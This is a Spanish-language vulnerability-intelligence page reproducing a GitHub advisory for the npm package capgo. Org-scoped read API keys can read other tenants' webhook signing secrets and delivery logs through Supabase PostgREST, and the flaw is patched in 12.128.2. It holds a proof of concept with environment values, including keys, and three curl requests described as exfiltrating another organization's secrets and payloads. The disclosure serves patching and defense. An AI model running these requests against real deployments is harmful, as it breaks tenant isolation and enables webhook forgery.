llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · capgo

GHSA-HJ3H-V877-G5RX

Org-scoped read API key can read other tenants’ webhook secrets and delivery logs via Supabase PostgREST (cross-tenant RLS/scoping bypass)

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión12.128.2
Exposición248 dDesde la divulgación, 16 mar 2026, 8:55 p. m.
Detección246 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
17 mar 26
18 nov 26
20 nov 26
17 mar 26
18 may 26
19 jul 26
19 sept 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-HJ3H-V877-G5RX divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
A Capgo API key with mode=read and limited_to_orgs=[ORG_A] can query Supabase PostgREST and retrieve public.webhooks.secret (HMAC signing secret) and public.webhook_deliveries logs for ORG_B (another tenant). This is a cross-tenant authorization failure that exposes signing secrets and delivery payload/log data, enabling forged Capgo webhook events against other organizations.

### Details
Supabase PostgREST endpoints expose sensitive webhook data cross-tenant when authenticated with an org-scoped read API key:

  • /rest/v1/webhooks returns rows including secret (whsec_*)
  • /rest/v1/webhook_deliveries returns rows including request_payload and response_body

Despite the API key being restricted to ORG_A (limited_to_orgs), queries return rows where org_id belongs to ORG_B, indicating scoping enforcement (limited_to_orgs) is not being honored in this PostgREST/RLS path.

Schema/RLS indicators (from supabase/schemas/prod.sql):

  • CREATE POLICY "Allow org members to select webhooks" ... USING (check_min_rights('read', get_identity(...), org_id, ...))
  • CREATE POLICY "Allow org members to select webhook_deliveries" ... USING (check_min_rights('read', get_identity(...), org_id, ...))
  • GRANT ALL ON TABLE public.webhooks TO anon, authenticated
  • GRANT ALL ON TABLE public.webhook_deliveries TO anon, authenticated
  • No column-level protection for webhooks.secret

Backend code suggests secret is not intended to be broadly exposed:

  • supabase/functions/_backend/public/webhooks/get.ts defines the webhook response schema without secret, but direct PostgREST access returns it.

### PoC
Environment

SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ANON="sb_publishable_T8kEcJpf9PbGYLkArVCLHA_lAE0Hb0T"

# Read-mode API key scoped to ORG_A only
READKEY="9f846e8b-d4ae-47b5-bd00-458c33b904a7"
ORG_A="8613dac2-cc0e-4e73-afcd-4d3c5458c34b"

# Victim org (ORG_B) and observed IDs
ORG_B="8352772b-cfa9-4572-8703-b8daeab2580e"
FOREIGN_WEBHOOK_ID="722e1093-16f4-4a53-b24d-973dae582fbc"
FOREIGN_DELIVERY_ID="e4978c6b-2c20-41f2-81fb-e952cbd1070a"
  1. Prove cross-tenant access to ORG_B webhooks (should be empty)
curl -sk --http2 -i \
"$SUPA/rest/v1/webhooks?select=id&org_id=eq.$ORG_B" \
  -H "apikey: $ANON" \
  -H "authorization: Bearer $ANON" \
  -H "capgkey: $READKEY" \
| sed -n '1,220p'

_Observed: HTTP 200 returning at least one webhook id for ORG_B.

  1. Exfiltrate ORG_B webhook secret
curl -sk --http2 -i \
"$SUPA/rest/v1/webhooks?id=eq.$FOREIGN_WEBHOOK_ID&select=id,org_id,name,url,secret,created_at" \
  -H "apikey: $ANON" \
  -H "authorization: Bearer $ANON" \
  -H "capgkey: $READKEY" \
| sed -n '1,220p'

_Observed: ORG_B webhook row returned including secret: "whsec_..."._

  1. Exfiltrate ORG_B webhook delivery logs (payload + response)
curl -sk --http2 -i \
"$SUPA/rest/v1/webhook_deliveries?id=eq.$FOREIGN_DELIVERY_ID&select=id,org_id,webhook_id,event_type,status,request_payload,response_status,response_body,created_at" \
  -H "apikey: $ANON" \
  -H "authorization: Bearer $ANON" \
  -H "capgkey: $READKEY" \
| sed -n '1,260p'

_Observed: ORG_B delivery row returned including request_payload and response_body._

Impact
  • Tenant isolation break: org-scoped read keys can read other tenants’ webhook configuration and delivery logs.
  • Secret disclosure: webhooks.secret leakage enables computing valid webhook signatures.
  • Integrity compromise: attacker can forge Capgo webhook events to victim endpoints with valid signatures.
  • Sensitive data exposure: delivery payloads/responses may contain tokens, PII, internal URLs, or other secrets depending on receivers and responses.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
capgo< 12.128.2
12.128.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmcapgo
Corregida 12.128.2 — —
Versiones corregidas12.128.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Cap-go/capgo.app/security/advisories/GHSA-hj3h-v877-g5rx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.